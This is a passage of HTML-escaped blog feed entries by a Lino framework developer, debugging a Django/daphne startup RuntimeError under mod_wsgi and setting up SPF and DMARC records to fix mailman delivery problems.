&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;12432&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;12432&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt; &lt;span class="n"&gt;processing&lt;/span&gt; &lt;span class="n"&gt;WSGI&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;
    &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set_prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;
    &lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;populate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INSTALLED_APPS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/apps/registry.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;populate&lt;/span&gt;
    &lt;span class="n"&gt;app_config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AppConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/apps/config.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt;
    &lt;span class="n"&gt;mod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/importlib/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_bootstrap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_gcd_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:],&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1006&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_gcd_import&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;983&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_find_and_load&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;967&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_find_and_load_unlocked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;677&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_load_unlocked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;728&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;exec_module&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;219&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_call_with_frames_removed&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/channels/apps.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;daphne.server&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/daphne/server.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;asyncioreactor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/twisted/internet/asyncioreactor.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;320&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt;
    &lt;span class="n"&gt;reactor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AsyncioSelectorReactor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eventloop&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/twisted/internet/asyncioreactor.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;
    &lt;span class="n"&gt;eventloop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_event_loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/asyncio/events.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;644&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_event_loop&lt;/span&gt;
    &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current_thread&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;There&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;thread&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Dummy-1&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The site has &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.use_websockets&lt;/span&gt;&lt;/code&gt; enabled, so it
uses channels and daphne. When Django tries to import the channels plugin, that
plugin calls &lt;cite&gt;import daphne.server&lt;/cite&gt; which raises a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;RuntimeError:&lt;/span&gt; &lt;span class="pre"&gt;There&lt;/span&gt;
&lt;span class="pre"&gt;is&lt;/span&gt; &lt;span class="pre"&gt;no&lt;/span&gt; &lt;span class="pre"&gt;current&lt;/span&gt; &lt;span class="pre"&gt;event&lt;/span&gt; &lt;span class="pre"&gt;loop&lt;/span&gt; &lt;span class="pre"&gt;in&lt;/span&gt; &lt;span class="pre"&gt;thread&lt;/span&gt; &lt;span class="pre"&gt;'Dummy-1'&lt;/span&gt;&lt;/code&gt; exception.&lt;/p&gt;
&lt;p&gt;But Django isn’t designed to get an exception at this point.
When the wsgi process starts up, it runs
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;django.apps.registry.Apps.populate()&lt;/span&gt;&lt;/code&gt;, which acquires an rlock and then
does:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# populate() might be called by two threads in parallel on servers&lt;/span&gt;
&lt;span class="c1"&gt;# that create threads before initializing the WSGI callable.&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_lock&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ready&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;

    &lt;span class="c1"&gt;# An RLock prevents other threads from entering this section. The&lt;/span&gt;
    &lt;span class="c1"&gt;# compare and set operation below is atomic.&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loading&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# Prevent reentrant calls to avoid running AppConfig.ready()&lt;/span&gt;
        &lt;span class="c1"&gt;# methods twice.&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;populate() isn&amp;#39;t reentrant&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loading&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;

    &lt;span class="c1"&gt;# Phase 1: initialize app configs and import app modules.&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;installed_apps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AppConfig&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;app_config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;app_config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AppConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# raises RuntimeError&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;app_config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app_configs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;ImproperlyConfigured&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;Application labels aren&amp;#39;t unique, &amp;quot;&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;duplicates: &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;app_config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app_configs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;app_config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;app_config&lt;/span&gt;
        &lt;span class="n"&gt;app_config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;apps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;

    &lt;span class="o"&gt;...&lt;/span&gt;

    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ready&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So our exception causes the django.apps.registry to have ready=False and
loading=True.&lt;/p&gt;
&lt;p&gt;I’d suggest that Django should behave differently here. The process should
simply stop. That would be a more intuitive behaviour, and the real problem
would no longer get hidden by the subsequent tracebacks caused by every incoming
request. But anyway that wouldn’t be a solution for our problem.&lt;/p&gt;
&lt;p&gt;I still could not reproduce it systematically. I thought that it might occur
only when the server has been rebooted. But nope: I rebooted the server, and the
problem was &lt;em&gt;not&lt;/em&gt; there.&lt;/p&gt;
&lt;p&gt;After all these investigations I had the following idea.  We must somehow wait
until the daphne server is ready before allowing Django to start up.  So we can
add something like this in the &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;time&lt;/span&gt;
&lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;channels&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;daphne.server&lt;/span&gt;
    &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
  &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;RuntimeError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="some-mailman-list-members-don-t-receive-any-mail"&gt;
&lt;h2&gt;Some mailman list members don’t receive any mail&lt;a class="headerlink" href="#some-mailman-list-members-don-t-receive-any-mail" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued with &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3339"&gt;#3339&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.open-spf.org/SPF_Record_Syntax/"&gt;http://www.open-spf.org/SPF_Record_Syntax/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://serverfault.com/questions/369460/what-are-spf-records-and-how-do-i-configure-them"&gt;https://serverfault.com/questions/369460/what-are-spf-records-and-how-do-i-configure-them&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://docs.ovh.com/gb/en/domains/web_hosting_the_spf_record/"&gt;https://docs.ovh.com/gb/en/domains/web_hosting_the_spf_record/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And still it doesn’t work!&lt;/p&gt;
&lt;p&gt;Oh, maybe that doesn’t work because our free mx plan is only for mylino.net. We
connect using the right password, but the mx server might refuse us.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1229.html</guid><pubDate>Sun, 29 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, December 28, 2019</title><link>https://luc.lino-framework.org/blog/2019/1228.html</link><description>&lt;section id="saturday-december-28-2019"&gt;
&lt;h1&gt;Saturday, December 28, 2019&lt;a class="headerlink" href="#saturday-december-28-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="some-mailman-list-members-don-t-receive-any-mail"&gt;
&lt;h2&gt;Some mailman list members don’t receive any mail&lt;a class="headerlink" href="#some-mailman-list-members-don-t-receive-any-mail" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued with &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3339"&gt;#3339&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;One possible explanation is that we have no DMARC record.
According to  &lt;a class="reference external" href="https://mxtoolbox.com/SuperTool.aspx?action=mx%3alino-framework.org&amp;amp;run=toolpage#"&gt;mxtoolbox.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;On &lt;a class="reference external" href="https://www.zytrax.com/books/dns"&gt;zytrax.com&lt;/a&gt; I found valuable information:&lt;/p&gt;
&lt;p&gt;A &lt;a class="reference external" href="https://www.zytrax.com/books/dns/ch9/dmarc.html"&gt;DMARC record&lt;/a&gt;
is defined in the DNS file for our domain, i.e. at &lt;cite&gt;zone.eu&lt;/cite&gt;.
It allows us to indicate to a mail receiver (e.g. hot.ee):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;the mechanisms used to authenticate its email (DKIM, SPF or both).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;how to handle mail that fails validity checks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Optionally request the receiver to send a feedback report, allowing the
sender to analyze what’s happening&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;IOW before writing a DMARC record I must setup SPF or DKIM.
DKIM is more complex than SPF, so I choose
&lt;a class="reference external" href="https://www.zytrax.com/books/dns/ch9/spf.html"&gt;SPF&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The SPF information must be defined using a standard TXT resource record (RR)
that looks like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="n"&gt;ttl&lt;/span&gt;  &lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;TXT&lt;/span&gt;  &lt;span class="s2"&gt;&amp;quot;v=spf1 ...&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But what to put into that &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;quot;v=spf1&lt;/span&gt; &lt;span class="pre"&gt;...&amp;quot;&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Notes from &lt;a class="reference external" href="https://www.validity.com/blog/how-to-build-your-spf-record-in-5-simple-steps/"&gt;How to Build Your SPF Record in 5 Simple Steps&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;To protect your customers, your brand, and your business from phishing and
spoofing attacks, you must authenticate your email. An SPF-protected domain is
less attractive to fraudsters and is therefore less likely to be blacklisted by
spam filters.&lt;/p&gt;
